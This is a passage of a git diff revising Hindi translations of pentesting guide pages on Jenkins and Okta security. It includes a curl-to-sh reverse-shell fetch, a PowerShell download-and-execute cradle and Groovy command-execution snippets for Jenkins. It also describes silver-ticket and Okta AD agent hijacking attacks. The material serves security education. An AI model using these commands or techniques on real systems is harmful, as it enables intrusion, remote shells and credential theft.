डेटाबेस को प्रमाणीकरण के लिए सौंपता है। यह मोड अनुमतियों के लिए Unix समूहों के पुन: उपयोग की भी अनुमति देगा। +- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता डेटाबेस को प्रमाणीकरण सौंपता है। यह मोड प्राधिकरण के लिए Unix समूहों के पुन: उपयोग की अनुमति भी देगा। प्लगइन्स अतिरिक्त सुरक्षा क्षेत्रों को प्रदान कर सकते हैं जो Jenkins को मौजूदा पहचान प्रणालियों में शामिल करने के लिए उपयोगी हो सकते हैं, जैसे: @@ -59,7 +59,7 @@ Jenkins को प्लगइन्स का उपयोग करके ** **Nodes** वे **मशीनें** हैं जिन पर निर्माण **एजेंट चलते हैं**। Jenkins प्रत्येक जुड़े हुए नोड की निगरानी करता है कि डिस्क स्थान, फ्री टेम्प स्पेस, फ्री स्वैप, घड़ी का समय/सिंक और प्रतिक्रिया समय। यदि इनमें से कोई भी मान कॉन्फ़िगर किए गए थ्रेशोल्ड से बाहर चला जाता है, तो एक नोड को ऑफ़लाइन ले लिया जाता है। -**Agents** **Jenkins नियंत्रक की ओर से** **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**। +**Agents** **Jenkins नियंत्रक** की ओर से **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**। एक **executor** **कार्य निष्पादन के लिए एक स्लॉट** है; वास्तव में, यह **एजेंट में एक थ्रेड है**। एक नोड पर **executors की संख्या** उस नोड पर एक समय में निष्पादित होने वाले **समानांतर कार्यों** की संख्या को परिभाषित करती है। दूसरे शब्दों में, यह उस नोड पर एक समय में निष्पादित होने वाले **समानांतर Pipeline `stages`** की संख्या को निर्धारित करता है। @@ -67,7 +67,7 @@ Jenkins को प्लगइन्स का उपयोग करके ** ### Encryption of Secrets and Credentials -[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** की सुरक्षा के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही मास्टर कुंजी जो इन कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम पर \_अनएन्क्रिप्टेड\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उस फ़ाइल तक सीधे पहुँच वाले हमलावरों के खिलाफ सुरक्षा नहीं करती है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` id के अनुरूप होता है। सामान्य कुंजी ids में शामिल हैं: +[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** को एन्क्रिप्ट और सुरक्षित करने के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही उस मास्टर कुंजी के साथ जो उक्त कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम में \_unencrypted\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उन हमलावरों के खिलाफ सुरक्षा नहीं करती है जिनके पास उस फ़ाइल तक सीधी पहुँच है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` आईडी के अनुरूप होता है। सामान्य कुंजी आईडी में शामिल हैं: - `hudson.util.Secret`: सामान्य गुप्तों के लिए उपयोग किया जाता है; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ क्रेडेंशियल प्रकारों के लिए उपयोग किया जाता है; @@ -77,9 +77,9 @@ Jenkins को प्लगइन्स का उपयोग करके ** क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) के लिए स्कोप किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर की गई परियोजना द्वारा एक्सेस किया जा सकता है, या उन्हें **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए स्कोप किया जा सकता है और इसलिए केवल विशिष्ट परियोजना से ही एक्सेस किया जा सकता है। -[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर प्रिंट करने वाले कार्यक्रम **निर्माण लॉग में उन्हें प्रकट नहीं करेंगे** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी। +[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर को प्रिंट करने वाले कार्यक्रमों को **निर्माण लॉग में उन्हें प्रकट नहीं करेगा** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी। -**इसलिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।** +**इसलिए क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।** ## References diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 807789f0a..d0cec48eb 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \ - Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है। -उदाहरण curl कमांड दिखाता है कि आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध कैसे किया जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके। +उदाहरण curl कमांड दिखाता है कि कैसे आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध भेजा जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 015116338..f0e9ae902 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## नया Pipeline बनाना +## एक नया पाइपलाइन बनाना -"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** चुनें: +"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** का चयन करें: ![](<../../images/image (235).png>) @@ -32,6 +32,6 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh ## पाइपलाइन को संशोधित करना -यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित कर सकते हैं** और फिर इसे निष्पादित करें या इसके निष्पादित होने की प्रतीक्षा करें। +यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित** कर सकते हैं और फिर इसे निष्पादित करें या जब तक यह निष्पादित न हो जाए तब तक प्रतीक्षा करें। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 3435b08c2..2cba9ae2e 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -7,7 +7,7 @@ यह विधि बहुत शोर करती है क्योंकि आपको एक नया प्रोजेक्ट बनाना होता है (स्पष्ट है कि यह केवल तभी काम करेगा जब आपके उपयोगकर्ता को नया प्रोजेक्ट बनाने की अनुमति हो)। 1. **एक नया प्रोजेक्ट बनाएं** (Freestyle project) "New Item" पर क्लिक करके या `/view/all/newJob` में। -2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (इसे _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ का उपयोग करके पेलोड शुरू करें, _powershell_ का उपयोग न करें। +2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (जो _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ के साथ पेलोड शुरू करें, _powershell_ का उपयोग करने के बजाय। 3. **Build now** पर क्लिक करें। 1. यदि **Build now** बटन नहीं दिखाई देता है, तो आप अभी भी **configure** --> **Build Triggers** --> `Build periodically` पर जा सकते हैं और `* * * * *` का क्रोन सेट कर सकते हैं। 2. क्रोन का उपयोग करने के बजाय, आप "**Trigger builds remotely**" कॉन्फ़िगरेशन का उपयोग कर सकते हैं जहाँ आपको केवल नौकरी को ट्रिगर करने के लिए API टोकन नाम सेट करने की आवश्यकता है। फिर अपने उपयोगकर्ता प्रोफ़ाइल पर जाएं और **एक API टोकन उत्पन्न करें** (इस API टोकन को उसी नाम से कॉल करें जैसा आपने नौकरी को ट्रिगर करने के लिए API टोकन को कहा था)। अंततः, नौकरी को ट्रिगर करें: **`curl :@/job//build?token=`** @@ -31,6 +31,6 @@ ![](<../../images/image (98).png>) **Save** पर क्लिक करें और प्रोजेक्ट को **build** करें और आपका **कमांड निष्पादित होगा**।\ -यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**। +यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं, तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 6d5ed8d58..edfe1f009 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,7 +4,7 @@ ## Jenkins RCE with Groovy Script -यह जेनकिंस में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है +यह Jenkins में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है 1. _path_jenkins/script_ पर जाएं 2. टेक्स्ट बॉक्स के अंदर स्क्रिप्ट डालें @@ -12,13 +12,13 @@ def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` -आप एक कमांड का उपयोग करके निष्पादित कर सकते हैं: `cmd.exe /c dir` +आप एक कमांड का निष्पादन कर सकते हैं: `cmd.exe /c dir` -**लिनक्स** में आप कर सकते हैं: **`"ls /".execute().text`** +**linux** में आप कर सकते हैं: **`"ls /".execute().text`** -यदि आपको टेक्स्ट के अंदर _कोट्स_ और _सिंगल कोट्स_ का उपयोग करने की आवश्यकता है। आप _"""PAYLOAD"""_ (ट्रिपल डबल कोट्स) का उपयोग करके पेलोड को निष्पादित कर सकते हैं। +यदि आपको टेक्स्ट के अंदर _quotes_ और _single quotes_ का उपयोग करने की आवश्यकता है। आप _"""PAYLOAD"""_ (ट्रिपल डबल कोट्स) का उपयोग करके पेलोड को निष्पादित कर सकते हैं। -**एक और उपयोगी ग्रोवी स्क्रिप्ट** है (स्थानापन्न \[INSERT COMMAND]): +**एक और उपयोगी groovy स्क्रिप्ट** है (स्थानापन्न \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -42,7 +42,7 @@ scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1 echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` -### Script +### स्क्रिप्ट आप इस प्रक्रिया को [**इस स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) के साथ स्वचालित कर सकते हैं। diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 4cf16534c..390a2ec97 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -1,94 +1,94 @@ -# Okta Security +# Okta सुरक्षा {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -[Okta, Inc.](https://www.okta.com/) पहचान और पहुंच प्रबंधन क्षेत्र में अपने क्लाउड-आधारित सॉफ़्टवेयर समाधानों के लिए जाना जाता है। ये समाधान विभिन्न आधुनिक अनुप्रयोगों में उपयोगकर्ता प्रमाणीकरण को सरल और सुरक्षित बनाने के लिए डिज़ाइन किए गए हैं। ये न केवल उन कंपनियों के लिए हैं जो अपने संवेदनशील डेटा की सुरक्षा करना चाहती हैं, बल्कि उन डेवलपर्स के लिए भी हैं जो अनुप्रयोगों, वेब सेवाओं और उपकरणों में पहचान नियंत्रण को एकीकृत करने में रुचि रखते हैं। +[Okta, Inc.](https://www.okta.com/) पहचान और पहुंच प्रबंधन क्षेत्र में अपने क्लाउड-आधारित सॉफ़्टवेयर समाधानों के लिए पहचाना जाता है। ये समाधान विभिन्न आधुनिक अनुप्रयोगों में उपयोगकर्ता प्रमाणीकरण को सरल और सुरक्षित बनाने के लिए डिज़ाइन किए गए हैं। ये न केवल उन कंपनियों के लिए हैं जो अपने संवेदनशील डेटा की सुरक्षा करना चाहती हैं, बल्कि उन डेवलपर्स के लिए भी हैं जो अनुप्रयोगों, वेब सेवाओं और उपकरणों में पहचान नियंत्रण को एकीकृत करने में रुचि रखते हैं। -Okta की प्रमुख पेशकश **Okta Identity Cloud** है। यह प्लेटफ़ॉर्म उत्पादों के एक सूट को शामिल करता है, जिसमें शामिल हैं लेकिन सीमित नहीं हैं: +Okta की प्रमुख पेशकश **Okta पहचान क्लाउड** है। यह प्लेटफ़ॉर्म उत्पादों का एक सूट शामिल करता है, जिसमें शामिल हैं लेकिन सीमित नहीं हैं: -- **Single Sign-On (SSO)**: कई अनुप्रयोगों में एक सेट लॉगिन क्रेडेंशियल्स के माध्यम से उपयोगकर्ता पहुंच को सरल बनाता है। -- **Multi-Factor Authentication (MFA)**: कई प्रकार की सत्यापन आवश्यकताओं के माध्यम से सुरक्षा को बढ़ाता है। -- **Lifecycle Management**: उपयोगकर्ता खाता निर्माण, अपडेट और निष्क्रियता प्रक्रियाओं को स्वचालित करता है। -- **Universal Directory**: उपयोगकर्ताओं, समूहों और उपकरणों का केंद्रीकृत प्रबंधन सक्षम बनाता है। -- **API Access Management**: APIs तक पहुंच को सुरक्षित और प्रबंधित करता है। +- **सिंगल साइन-ऑन (SSO)**: एक सेट के लॉगिन क्रेडेंशियल्स के माध्यम से कई अनुप्रयोगों में उपयोगकर्ता पहुंच को सरल बनाता है। +- **मल्टी-फैक्टर प्रमाणीकरण (MFA)**: कई प्रकार के सत्यापन की आवश्यकता करके सुरक्षा को बढ़ाता है। +- **लाइफसाइकिल प्रबंधन**: उपयोगकर्ता खाता निर्माण, अपडेट और निष्क्रियता प्रक्रियाओं को स्वचालित करता है। +- **यूनिवर्सल डायरेक्टरी**: उपयोगकर्ताओं, समूहों और उपकरणों का केंद्रीकृत प्रबंधन सक्षम बनाता है। +- **API एक्सेस प्रबंधन**: APIs तक पहुंच को सुरक्षित और प्रबंधित करता है। ये सेवाएँ सामूहिक रूप से डेटा सुरक्षा को मजबूत करने और उपयोगकर्ता पहुंच को सरल बनाने का लक्ष्य रखती हैं, जिससे सुरक्षा और सुविधा दोनों में सुधार होता है। Okta के समाधानों की बहुपरकारीता उन्हें विभिन्न उद्योगों में एक लोकप्रिय विकल्प बनाती है, जो बड़े उद्यमों, छोटे कंपनियों और व्यक्तिगत डेवलपर्स के लिए फायदेमंद है। सितंबर 2021 में अंतिम अपडेट के अनुसार, Okta पहचान और पहुंच प्रबंधन (IAM) क्षेत्र में एक प्रमुख इकाई के रूप में मान्यता प्राप्त है। > [!CAUTION] -> Okta का मुख्य लक्ष्य विभिन्न उपयोगकर्ताओं और समूहों के लिए बाहरी अनुप्रयोगों तक पहुंच को कॉन्फ़िगर करना है। यदि आप **Okta** वातावरण में **प्रशासक विशेषाधिकारों से समझौता करने में सफल होते हैं**, तो आप **संभवतः कंपनी द्वारा उपयोग किए जा रहे सभी अन्य प्लेटफार्मों से समझौता करने में सक्षम होंगे**। +> Okta का मुख्य लक्ष्य विभिन्न उपयोगकर्ताओं और समूहों के लिए बाहरी अनुप्रयोगों तक पहुंच को कॉन्फ़िगर करना है। यदि आप **Okta** वातावरण में व्यवस्थापक विशेषाधिकारों को **समझौता** करने में सफल होते हैं, तो आप **संभवतः कंपनी द्वारा उपयोग किए जा रहे सभी अन्य प्लेटफार्मों को समझौता** करने में सक्षम होंगे। > [!TIP] -> Okta वातावरण की सुरक्षा समीक्षा करने के लिए आपको **प्रशासक केवल पढ़ने की पहुंच** मांगनी चाहिए। +> Okta वातावरण की सुरक्षा समीक्षा करने के लिए आपको **व्यवस्थापक केवल पढ़ने की पहुंच** के लिए पूछना चाहिए। -### Summary +### सारांश -यहां **उपयोगकर्ता** हैं (जो **Okta में संग्रहीत** हो सकते हैं, कॉन्फ़िगर किए गए **पहचान प्रदाताओं** से लॉग इन कर सकते हैं या **Active Directory** या LDAP के माध्यम से प्रमाणित हो सकते हैं)।\ +यहाँ **उपयोगकर्ता** हैं (जो **Okta में संग्रहीत** हो सकते हैं, कॉन्फ़िगर किए गए **पहचान प्रदाताओं** से लॉग इन कर सकते हैं या **एक्टिव डायरेक्टरी** या LDAP के माध्यम से प्रमाणित हो सकते हैं)।\ ये उपयोगकर्ता **समूहों** के अंदर हो सकते हैं।\ -यहां **प्रमाणक** भी हैं: प्रमाणित करने के लिए विभिन्न विकल्प जैसे पासवर्ड, और कई 2FA जैसे WebAuthn, ईमेल, फोन, Okta Verify (इन्हें सक्षम या अक्षम किया जा सकता है)... +यहाँ **प्रमाणक** भी हैं: प्रमाणीकरण के लिए विभिन्न विकल्प जैसे पासवर्ड, और कई 2FA जैसे WebAuthn, ईमेल, फोन, Okta Verify (इन्हें सक्षम या अक्षम किया जा सकता है)... -फिर, यहां **अनुप्रयोग** हैं जो Okta के साथ समन्वयित हैं। प्रत्येक अनुप्रयोग का कुछ **Okta के साथ मैपिंग** होगा ताकि जानकारी साझा की जा सके (जैसे ईमेल पते, पहले नाम...)। इसके अलावा, प्रत्येक अनुप्रयोग को एक **प्रमाणीकरण नीति** के अंतर्गत होना चाहिए, जो यह दर्शाती है कि किसी उपयोगकर्ता को अनुप्रयोग तक **पहुँचने** के लिए **आवश्यक प्रमाणक** क्या हैं। +फिर, यहाँ **अनुप्रयोग** हैं जो Okta के साथ समन्वयित हैं। प्रत्येक अनुप्रयोग का कुछ **Okta के साथ मैपिंग** होगा ताकि जानकारी साझा की जा सके (जैसे ईमेल पते, पहले नाम...)। इसके अलावा, प्रत्येक अनुप्रयोग को एक **प्रमाणीकरण नीति** के अंदर होना चाहिए, जो यह दर्शाता है कि उपयोगकर्ता को अनुप्रयोग तक **पहुँचने** के लिए **आवश्यक प्रमाणक** क्या हैं। > [!CAUTION] -> सबसे शक्तिशाली भूमिका **सुपर प्रशासक** है। +> सबसे शक्तिशाली भूमिका **सुपर व्यवस्थापक** है। > -> यदि एक हमलावर Okta को प्रशासक पहुंच के साथ समझौता करता है, तो सभी **अनुप्रयोग जो Okta पर भरोसा करते हैं** संभवतः **समझौता** कर लिए जाएंगे। +> यदि एक हमलावर Okta को व्यवस्थापक पहुंच के साथ समझौता करता है, तो सभी **अनुप्रयोग जो Okta पर भरोसा करते हैं** संभवतः **समझौता** हो जाएंगे। -## Attacks +## हमले -### Locating Okta Portal +### Okta पोर्टल का पता लगाना -आमतौर पर किसी कंपनी का पोर्टल **companyname.okta.com** पर स्थित होगा। यदि नहीं, तो **companyname.** के सरल **विविधताओं** का प्रयास करें। यदि आप इसे नहीं ढूंढ पाते हैं, तो यह भी संभव है कि संगठन के पास **CNAME** रिकॉर्ड हो जैसे **`okta.companyname.com`** जो **Okta पोर्टल** की ओर इशारा करता है। +आमतौर पर किसी कंपनी का पोर्टल **companyname.okta.com** पर स्थित होगा। यदि नहीं, तो **companyname.** के सरल **विविधताओं** को आजमाएं। यदि आप इसे नहीं ढूंढ पाते हैं, तो यह भी संभव है कि संगठन के पास **CNAME** रिकॉर्ड हो जैसे **`okta.companyname.com`** जो **Okta पोर्टल** की ओर इशारा करता है। -### Login in Okta via Kerberos +### Kerberos के माध्यम से Okta में लॉगिन -यदि **`companyname.kerberos.okta.com`** सक्रिय है, तो **Okta पहुंच के लिए Kerberos का उपयोग किया जाता है**, आमतौर पर **Windows** उपयोगकर्ताओं के लिए **MFA** को बायपास करते हुए। AD में Kerberos-सत्यापित Okta उपयोगकर्ताओं को खोजने के लिए, **`getST.py`** को **उपयुक्त पैरामीटर** के साथ चलाएं। एक **AD उपयोगकर्ता टिकट** प्राप्त करने के बाद, **इसे** नियंत्रित होस्ट में Rubeus या Mimikatz जैसे उपकरणों का उपयोग करके **इंजेक्ट** करें, यह सुनिश्चित करते हुए कि **`clientname.kerberos.okta.com` इंटरनेट विकल्पों "इंट्रानेट" क्षेत्र में है**। एक विशिष्ट URL तक पहुंचने पर JSON "OK" प्रतिक्रिया लौटनी चाहिए, जो Kerberos टिकट स्वीकृति को दर्शाती है, और Okta डैशबोर्ड तक पहुंच प्रदान करती है। +यदि **`companyname.kerberos.okta.com`** सक्रिय है, तो **Okta पहुंच के लिए Kerberos का उपयोग किया जाता है**, आमतौर पर **Windows** उपयोगकर्ताओं के लिए **MFA** को बायपास करते हुए। AD में Kerberos-प्रमाणित Okta उपयोगकर्ताओं को खोजने के लिए, **`getST.py`** को **उपयुक्त पैरामीटर** के साथ चलाएं। एक **AD उपयोगकर्ता टिकट** प्राप्त करने के बाद, इसे नियंत्रित होस्ट में **Rubeus** या **Mimikatz** जैसे उपकरणों का उपयोग करके **इंजेक्ट** करें, यह सुनिश्चित करते हुए कि **`clientname.kerberos.okta.com` इंटरनेट विकल्प "इंट्रानेट" क्षेत्र में है**। एक विशिष्ट URL तक पहुंचने पर JSON "OK" प्रतिक्रिया लौटनी चाहिए, जो Kerberos टिकट स्वीकृति को दर्शाती है, और Okta डैशबोर्ड तक पहुंच प्रदान करती है। -**Okta सेवा खाते से समझौता करना और प्रतिनिधित्व SPN एक Silver Ticket हमले को सक्षम करता है।** हालाँकि, Okta के टिकट एन्क्रिप्शन के लिए **AES** का उपयोग करने के लिए AES कुंजी या प्लेनटेक्स्ट पासवर्ड होना आवश्यक है। **`ticketer.py` का उपयोग करें ताकि पीड़ित उपयोगकर्ता के लिए एक टिकट उत्पन्न किया जा सके** और इसे ब्राउज़र के माध्यम से Okta के साथ प्रमाणित करने के लिए वितरित किया जा सके। +**Okta सेवा खाते को समझौता करना और प्रतिनिधित्व SPN एक सिल्वर टिकट हमले को सक्षम करता है।** हालाँकि, Okta का **AES** का उपयोग टिकट एन्क्रिप्शन के लिए AES कुंजी या प्लेनटेक्स्ट पासवर्ड की आवश्यकता होती है। **`ticketer.py` का उपयोग करें पीड़ित उपयोगकर्ता के लिए एक टिकट उत्पन्न करने के लिए** और इसे Okta के साथ प्रमाणित करने के लिए ब्राउज़र के माध्यम से वितरित करें। **हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** -### Hijacking Okta AD Agent +### Okta AD एजेंट का हाइजैकिंग -यह तकनीक **एक सर्वर पर Okta AD एजेंट तक पहुंचने** से संबंधित है, जो **उपयोगकर्ताओं को समन्वयित करता है और प्रमाणीकरण को संभालता है**। **`OktaAgentService.exe.config`** में कॉन्फ़िगरेशन की जांच और डिक्रिप्ट करके, विशेष रूप से AgentToken का उपयोग करके **DPAPI**, एक हमलावर संभावित रूप से **प्रमाणीकरण डेटा को इंटरसेप्ट और हेरफेर** कर सकता है। यह न केवल Okta प्रमाणीकरण प्रक्रिया के दौरान **उपयोगकर्ता क्रेडेंशियल्स** को प्लेनटेक्स्ट में **निगरानी** और **कैप्चर** करने की अनुमति देता है, बल्कि **प्रमाणीकरण प्रयासों** का भी उत्तर देने की अनुमति देता है, जिससे अनधिकृत पहुंच सक्षम होती है या Okta के माध्यम से सार्वभौमिक प्रमाणीकरण प्रदान किया जाता है (जैसे 'कंकाल कुंजी')। +यह तकनीक **एक सर्वर पर Okta AD एजेंट तक पहुंचने** से संबंधित है, जो **उपयोगकर्ताओं को समन्वयित करता है और प्रमाणीकरण को संभालता है**। **`OktaAgentService.exe.config`** में कॉन्फ़िगरेशन की जांच और डिक्रिप्ट करके, विशेष रूप से **DPAPI** का उपयोग करके AgentToken, एक हमलावर संभावित रूप से **प्रमाणीकरण डेटा को इंटरसेप्ट और हेरफेर** कर सकता है। यह न केवल Okta प्रमाणीकरण प्रक्रिया के दौरान 